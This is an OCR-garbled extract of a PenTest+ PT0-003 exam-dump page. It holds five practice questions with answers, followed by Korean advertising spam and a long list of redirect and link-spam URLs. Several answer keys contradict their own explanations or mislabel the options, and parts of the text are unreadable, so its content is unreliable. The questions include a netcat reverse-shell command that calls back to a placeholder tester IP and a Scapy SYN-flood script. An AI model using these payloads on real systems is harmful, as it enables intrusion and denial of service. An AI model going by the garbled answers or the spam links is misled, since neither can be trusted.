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FH1

Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration
techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration
purposes. They will also understand which tools to use for these stages, essential for gathering crucial
nformation before performing deeper penetration tests.

FH 2

Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to
discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration
phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand
security gaps beyond just the digital landscape.

FH 3

Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize
attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud,
wireless, and social engineering attacks using appropriate tools. Understanding specialized systenms and
automating attacks with scripting will also be emphasized.

A 4

Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and
maintaining persistence within a system. This topic also covers lateral movement within an environment and
mtroduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities,
ensuring analysts understand the post-exploitation phase’s responsibilities.

FH 5

Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities,
collaboration, and communication in a penetration testing environment. The topic covers testing
frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and
recommend remediation effectively within reports, crucial for real-world testing scenarios.
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EE #213
A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue.
Which of'the following would BEST protect against this vulnerability?

A. Patch management

B. Key rotation

C. Network segmentation
D. Encrypted passwords

Heg: A

dY:

Patch management is the process of identifying, downloading, and installing security patches for a systemin order to address new
vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a
security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations
should implement a patch management program to regularly check for and install security patches for the systems in their
environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more
isolated segments. However, it does not address the vulnerability itself

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on
stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent
attackers from exploiting the EternalBlue vulnerability.

Reference: CompTIA PenTest+ Certification Guide, Chapter 1: Pre-engagement Interactions, Page 21.

AE #214
A penetration tester needs to evaluate the order in which the next systems will be selected for testing, Given the following output:

tname IP address |cvss 2.0 |EPSS

at
!

fileservel 192 .16¢€

VTfhich of the following targets should the tester select next?

A. fileserver

B. legaldatabase
C. financesite
D. hrdatabase

HE: A

Y.

* Evaluation Criteria:

* CVSS (Common Vulnerability Scoring System): Indicates the severity of vulnerabilities, with higher scores representing more
critical vulnerabilities.

* EPSS (Exploit Prediction Scoring System): Estimates the likelihood of a vulnerability being exploited in the wild.
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* Analysis:

* hrdatabase: CVSS = 9.9, EPSS = 0.50

* financesite: CVSS = 8.0, EPSS = 0.01

* legaldatabase: CVSS = 8.2, EPSS = 0.60

* fileserver: CVSS = 7.6, EPSS = 0.90

* Selection Justification:

* fileserver has the highest EPSS score 0f 0.90, indicating a high likelihood of exploitation despite having a slightly lower CVSS
score compared to other targets.

* This makes it a critical target for immediate testing to mitigate potential exploitation risks.

Pentest References:

* Risk Prioritization: Balancing between severity (CVSS) and exploitability (EPSS) is crucial for effective vulnerability management.
* Risk Assessment: Evaluating both the impact and the likelihood of exploitation helps in making informed decisions about testing
priorities.

By selecting the fileserver, the penetration tester focuses on a target that is highly likely to be exploited, addressing the most
immediate risk based on the given scores.

Top of Form

Bottom of Form

AR #215

A penetration tester finds an unauthenticated RCE vulnerability on a web server and wants to use it to enumerate other servers on
the local network. The web server is behind a firewall that allows only an incoming connection to TCP ports 443 and 53 and
unrestricted outbound TCP connections. The target web server is httpsz/target.comptia.org. Which of the following should the tester
use to perform the task with the fewest web requests?

A. /bin/sh -¢ 'nc <pentester ip> 443’
B. /bin/sh -¢ 'nc -1-p 443

C. nc -e /bi/sh -Ip 53

D. nc -e /bin/sh <pentester ip> 53

.|

o
m

: A

Y.

The tester needs to pivot from the compromised web server while bypassing firewall restrictions that allow:
* Inbound traffic only on TCP 443 (HTTPS) and TCP 53 (DNS)

* Unrestricted outbound traffic

* Reverse shell using TCP 443 (Option D):

* This command mitiates an outbound connection to the pentester's machine on port 443, which is allowed by the firewall
* Example:bashCopyEdit/bin/sh -¢ 'nc <pentester ip> 443 -e /bin/sh'

Example:bashCopyEdit/bin/sh -¢ 'nc <pentester ip> 443 -e /bin/sh'

Example:bashCopyEdit/birvsh -¢ 'nc <pentester ip> 443 -e /bin/sh'

Example:bashCopyEdit/birvsh -¢ 'nc <pentester ip> 443 -e /bin/sh'

* The pentester listens on TCP 443 and receives the shell from the target.

EE #216

A penetration tester performs the following command:

curl -1 -http2 https//www.comptia.org

Which of the following snippets of output will the tester MOST likely receive?



A HTTR/2 200

x-frame-options: SAMEORIGIN

x-xss-protection: 1; mode=bleock

X-content-type-options: nosniff

rafarrer-policy: strict-origin

strict—-transport-security: max-age=31536000; includaSubdomains; preload

<|DOCTYPE html>

<html lang="en”>

<head>

<meta http-equiv="X-UA-Compatible” dSan$ent="IE=edge,chrome=1" />
</head>

<bedy lang="en”>

</body>
</html>

&

® 4 mosa1s necaivea’ygeTa MOy Spocd, Time,  mime  Time current
100 1698k 100 1698k 0 0 1566k O© 0:00:01 0:00:01 _  _ 1565k

D. [##ssfdsfsesdfaisiiifasisfessRtessifasaiaenaRidaaaades) 1008

A. Option B
B. Option A
C. OptionD
D. Option C

.l

o
m

: B

3.
Reference: httpsz/research.securitum comvhttp-2-protocol-it-is-faster-but- is- it-also-safer/

AE #217

A penetration tester is authorized to performa DoS attack against a host on a network. Given the following input:
ip=1P("192.168.50.2")

tcp = TCP(sport=RandShort(), dport=80, flags="S")

raw = RAW(b"X"*1024)

p = ip/tcp/raw

send(p, loop=1, verbose=0)

Which of'the following attack types is most likely being used in the test?

A. MDK4

B. FragAttack
C. Smurfattack
D. SYN flood

HE: D

dE:

A SYN flood attack exploits the TCP handshake process by sending a large number of SYN packets to a target, consuming
resources and causing a denial of service.

* Understanding the Script:

*ip =1P("192.168.50.2"): Sets the target [P address.

* tcp = TCP(sport=RandShort(), dport=80, flags="S"): Creates a TCP packet with a SYN flag set.

* raw = RAW(b"X"™*1024): Adds a payload to the packet.

* p = ip/tcp/raw: Combines [P, TCP, and RAW layers mnto a single packet.

* send(p, loop=1, verbose=0): Sends the packet in a loop continuously.

* Purpose of SYN Flood:

* Resource Exhaustion: The attack consumes resources by opening many half-open connections.

* Denial of Service: The target system becomes unable to process legitimate requests due to resource depletion.
* Detection and Mitigation:

* Rate Limiting: Implement rate limiting on incoming SYN packets.

* SYN Cookies: Use SYN cookies to handle large numbers of SYN requests without consuming resources.



* Firewalls and IDS: Deploy firewalls and Intrusion Detection Systerms (IDS) to detect and mitigate SYN flood attacks.
* References from Pentesting Literature:

* SYN flood attacks are a classic denial-of-service technique discussed in penetration testing guides.

* HTB write-ups frequently illustrate the use of SYN flood attacks to test the resilience of network services.
Step-by-Step ExplanationReferences:

* Penetration Testing - A Hands-on Introduction to Hacking

* HTB Official Writeups

HE #218

Itexamdumpl M M B3 E 2= ConpTIAR!IS PTO-003HZ & 7HE &3 & CompTIAR!IE PT0-003A IR SERE L
Lct HZEX2 fH2 ITUMERRE HEYAELICH CompTIAR!IE PT0-003 2 Z # BHot L| 2} Ttexamdumpoi| A
= ZE MBS A cid|gt HZE MBS ERILCH ITUSAASE St 88 2ltexamdunpdi| &S 7t
MEML. FOHelEo| QJoA|H oz JIsELCH ISHoZ MASAIHXQEEH FHE SHIFHHE?

PT0-0032HH 8 A& X} & : httpsv//www.itexamdump.com/PT0-003 . html

o 2 12 PT0-0032+ 8 HEXt=E AREHZEX Ct2E7| [0 PT0-003 (1618 FEE CIREE5HE
™ [ www.passdtestnet ] EAO|EE YURSHMILPTO-003A IR A 7Hs HEALZ

e PTO-003A|IRICHH| HZCIZEX| o PTO-003AIRIIHA QIZHIAIE [ PTO-003HHE HEZZIEEN 0 [
www.itdumpskr.com | Ol A Z4 4Bt 5t H= PT0-003 IOUE FEE CIREEE 5= U&LICHPTO-003 % AMHH
HIxz

e PT0-003&tHet HIE AR 7|EEX O v www.koreadumps.com (v TEALO|E & @ 1> PT0-003 <& ZHM 5t
0 FE CIRECEPT0-003QSHIME CIR

o H{HEF PT0-0032HHEt HEXLZ 2| & HEZ () ZHMBF &M www.itdumpskr.com [0 [ PT0-003 1 2
CH2 2EEPT0-003AIRITHA QIS HI A2

e PT0-0032tH 8t HEXE HHES HZFO0iF 1H7X| YO O|EHTE2 FEE NS 1 1
www.dumptop.com (2 { PT0-003 } F 2 CI2ZEE 2 5 UE 2|19| ALO|EQLICIPTO-003 A RHEHZ 2 A

e PTO-003AI&E 4 00 PTO-003AH A4S & 1A 0 PTO-003AIREHEZEA O HMoE 53 { www.itdumpskr.com }
0| M= PT0-003 1R & CHREEPTO-003ARZNM 2 &

o HHES PTO-0032t M8 HEXE 20 EHEZ 1 FE CIREEE |l PT0-003 <& A5 E{TH=-
www.passdtest.net |12 (&) Y=t & AI2PT0-003%| & AIY

e Z| 4 AOIO|EE PTO-003&H# HEXE ARFHEZEXN | ( www.itdumpskr.com ) (&) @I= PT0-003 «&
st D FE CIREEE B A AIPT0-003AIEHZEA

e PT0-0032t 8t HE X2 7|&E2 M 1 v www.koreadumps.com (v Rl AFO|E 0| M= PT0-003 <8 €1 A4
5t0{ 2 CH2 2EPT0-003E IS R AR

e PT0-003%| A A% 7| @@ PTO-003AIECHH| HZ O 22X [ PTO-003E AMAIE 1 [ www.itdumpskr.com |
2 &3 €A (PT0-003) FE CIREE EI|PTO-003HEE HEZ S EEA

e PT0-003EZZEXE 1 PT0-00325ZSEEAN 0 PT0-003HHEE HEZZEEA O “www.dumptop.com
"2 S8l &Hlw PT0-003 1R E CIR2EE YI[PT0-003HUE HEZ I EEA|

o www.stes.tyc.edu.tw, www.stes.tyc.edu.tw, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt,
myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportalutt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt,
www.wes.edu.eu, www.stes.tyc.edu.tw, myportal utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal utt.edu.t,
myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal utt.edu.tt, myportal.utt.edu.tt,
backloggd.com, test.siteria.co.uk, www.wcs.edu.eu, www.stes.tyc.edu.tw, Disposable vapes

& 10 ItexamdumpOl| A Google Drive2 & ® 5t £ & 2026 ConpTIA PT0-003 Ag EX & ol U}&Lct:
https//drive.google.com/open?id=1m5Su3hVGg-HG1bRXDLIJt4aVo332Ft1 To


https://www.dumptop.com/free/PT0-003-dump.html
https://www.itexamdump.com/PT0-003.html
https://www.pass4test.net/PT0-003.html
https://www.pdc.edu/?URL=https%253a%252f%252fwww.itexamdump.com%252fPT0-003.html
https://www.koreadumps.com/PT0-003-practice-test.html
https://www.northwestu.edu/?URL=https%253a%252f%252fwww.itexamdump.com%252fPT0-003.html
https://www.dumptop.com/CompTIA/PT0-003-dump.html
https://bbs.pku.edu.cn/v2/jump-to.php?url=https%253a%252f%252fwww.itexamdump.com%252fPT0-003.html
https://www.pass4test.net/PT0-003.html
https://www.dstframework.com/?s=%25ec%25b5%259c%25ec%258b%25a0+%25ec%2597%2585%25eb%258d%25b0%25ec%259d%25b4%25ed%258a%25b8%25eb%2590%259c+PT0-003%25ec%2599%2584%25eb%25b2%25bd%25ed%2595%259c+%25eb%258d%25a4%25ed%2594%2584%25ec%259e%2590%25eb%25a3%258c+%25ec%258b%259c%25ed%2597%2598%25eb%258d%25a4%25ed%2594%2584%25eb%25ac%25b8%25ec%25a0%259c+%25e2%2586%2595+%25ef%25bc%2588+www.itdumpskr.com+%25ef%25bc%2589%25ec%259d%2584(%25eb%25a5%25bc)+%25ec%2597%25b4%25ea%25b3%25a0%25e2%2587%259b+PT0-003+%25e2%2587%259a%25eb%25a5%25bc+%25ec%259e%2585%25eb%25a0%25a5%25ed%2595%2598%25ea%25b3%25a0+%25eb%25ac%25b4%25eb%25a3%258c+%25eb%258b%25a4%25ec%259a%25b4%25eb%25a1%259c%25eb%2593%259c%25eb%25a5%25bc+%25eb%25b0%259b%25ec%259c%25bc%25ec%258b%25ad%25ec%258b%259c%25ec%2598%25a4PT0-003%25ec%258b%259c%25ed%2597%2598%25eb%258d%25a4%25ed%2594%2584%25eb%25ac%25b8%25ec%25a0%259c
https://www.koreadumps.com/PT0-003-practice-test.html
https://fourcamphotography.blog/?s=PT0-003%25ec%25b5%259c%25ec%258b%25a0%25ec%258b%259c%25ed%2597%2598%25ed%259b%2584%25ea%25b8%25b0+%25e2%259d%25a4+PT0-003%25ec%258b%259c%25ed%2597%2598%25eb%258c%2580%25eb%25b9%2584+%25eb%258d%25a4%25ed%2594%2584%25eb%258d%25b0%25eb%25aa%25a8%25eb%25ac%25b8%25ec%25a0%259c+%25f0%259f%2598%25b7+PT0-003%25ec%25b5%259c%25ec%258b%25a0%25ec%258b%259c%25ed%2597%2598+%25f0%259f%25a6%2592+%25e3%2580%258c+www.itdumpskr.com+%25e3%2580%258d%25ec%259d%2584+%25ed%2586%25b5%25ed%2595%25b4+%25ec%2589%25bd%25ea%25b2%258c%25ef%25bc%2588+PT0-003+%25ef%25bc%2589%25eb%25ac%25b4%25eb%25a3%258c+%25eb%258b%25a4%25ec%259a%25b4%25eb%25a1%259c%25eb%2593%259c+%25eb%25b0%259b%25ea%25b8%25b0PT0-003%25ed%258d%25bc%25ed%258e%2599%25ed%258a%25b8+%25eb%258d%25a4%25ed%2594%2584%25ea%25b3%25b5%25eb%25b6%2580%25eb%25ac%25b8%25ec%25a0%259c
https://www.dumptop.com/CompTIA/PT0-003-dump.html
http://www.stes.tyc.edu.tw/xoops/modules/profile/userinfo.php?uid=3855013
http://www.stes.tyc.edu.tw/xoops/modules/profile/userinfo.php?uid=3855621
https://myportal.utt.edu.tt/ICS/icsfs/0547633e-9c8d-4817-aa5b-d845b6f9aa48.pdf?target=49ea6d52-963e-4997-a060-46b3e5204c1b
https://myportal.utt.edu.tt/ICS/icsfs/23f37b96-2808-47ac-8ff3-740669de7ce9.pdf?target=13dbe797-00fd-4630-b8ec-15f91bfff5cf
https://myportal.utt.edu.tt/ICS/icsfs/482b842a-c47f-4cca-bc08-16ac421ddce7.pdf?target=7d870d83-b38b-44c7-bf02-f89da0fa5849
https://myportal.utt.edu.tt/ICS/icsfs/4b3c5ad8-43be-4086-a1ba-5643a1fe05e4.pdf?target=03d32cb8-81da-436b-975d-90d11a149c08
https://myportal.utt.edu.tt/ICS/icsfs/6961b3f8-7f8f-40b6-b7c9-2ab490e317ea.pdf?target=e776759e-5b3d-48e5-96e9-1817ca3533dc
https://myportal.utt.edu.tt/ICS/icsfs/6e680d19-81d4-4c8c-8c6d-687e5fd1f95d.pdf?target=5813786f-c7fc-49a2-b938-298ecd4e80e1
https://myportal.utt.edu.tt/ICS/icsfs/7d0e9cfb-bb43-4492-9a88-d7a9b8f201d0.pdf?target=ec0a4f01-0dee-417f-af1e-f36977d1a132
https://myportal.utt.edu.tt/ICS/icsfs/a6a1acfc-af9b-4a67-b7af-fb20eff73d5b.pdf?target=2491a412-96de-42a9-9bd0-f604fb220969
https://myportal.utt.edu.tt/ICS/icsfs/aed7f26f-5cc5-4452-adbe-a720c04d1d98.pdf?target=8a27e8d6-8c6b-4b1d-845e-c0536a13e30d
https://myportal.utt.edu.tt/ICS/icsfs/e0d6ba43-79cb-44be-8344-dcd9306754ec.pdf?target=344c3476-ac62-4ae2-86d8-4dff4dea3cfe
https://www.wcs.edu.eu/profile/owenlew694
http://www.stes.tyc.edu.tw/xoops/modules/profile/userinfo.php?uid=3854606
https://myportal.utt.edu.tt/ICS/icsfs/019fdf43-1575-4081-84dc-3a09d47be8c7.pdf?target=c9f90d07-4c50-4cac-b04d-4305b8382e50
https://myportal.utt.edu.tt/ICS/icsfs/128b2c46-6bbd-48ed-abb4-fe8c551dae12.pdf?target=bcba306c-3bfe-4aa9-8972-1a9c58d954f5
https://myportal.utt.edu.tt/ICS/icsfs/48e9558e-5b44-4fd5-b262-6e917da5dd40.pdf?target=f6622138-2f01-409e-a19d-eda8b90f1c3b
https://myportal.utt.edu.tt/ICS/icsfs/70d1497a-86c2-43b3-83aa-957d5c1c7638.pdf?target=2d07e48a-aebf-4f94-b289-57141e4428e1
https://myportal.utt.edu.tt/ICS/icsfs/71787703-2c83-469d-9ee2-3e91650c4fb6.pdf?target=1fa9990a-17c8-40a5-bf57-2cf7b22b7a13
https://myportal.utt.edu.tt/ICS/icsfs/9cf054a3-19dc-42ed-9aec-44c06dea94bd.pdf?target=ab379598-0c30-4c33-ba57-2165c5418c9a
https://myportal.utt.edu.tt/ICS/icsfs/bd6cafc3-2431-421d-a76f-250d254cc7dd.pdf?target=d1d1ed53-9ce5-4949-ba18-9dfcedaa25d1
https://myportal.utt.edu.tt/ICS/icsfs/cf4c1b72-bb9f-4776-8d19-1a4b6e152504.pdf?target=8388d2b9-51cb-4d93-8af2-6bedf896c068
https://myportal.utt.edu.tt/ICS/icsfs/e5889e14-d938-4022-bfb3-7417a97bf686.pdf?target=58f8a78f-d703-40f4-976a-7e3800ef0456
https://myportal.utt.edu.tt/ICS/icsfs/f3172890-fa72-4ad2-884a-0a8fba4d8af0.pdf?target=e7318cce-601f-4737-8eeb-a647ffc5e25e
https://backloggd.com/u/tremu/
https://test.siteria.co.uk/profile/leohill635
https://www.wcs.edu.eu/profile/tomford499
http://www.stes.tyc.edu.tw/xoops/modules/profile/userinfo.php?uid=3854907
https://frvape.com
https://drive.google.com/open?id=1m5u3hVGg-HG1bRXDLIJt4aVo332Ft1To

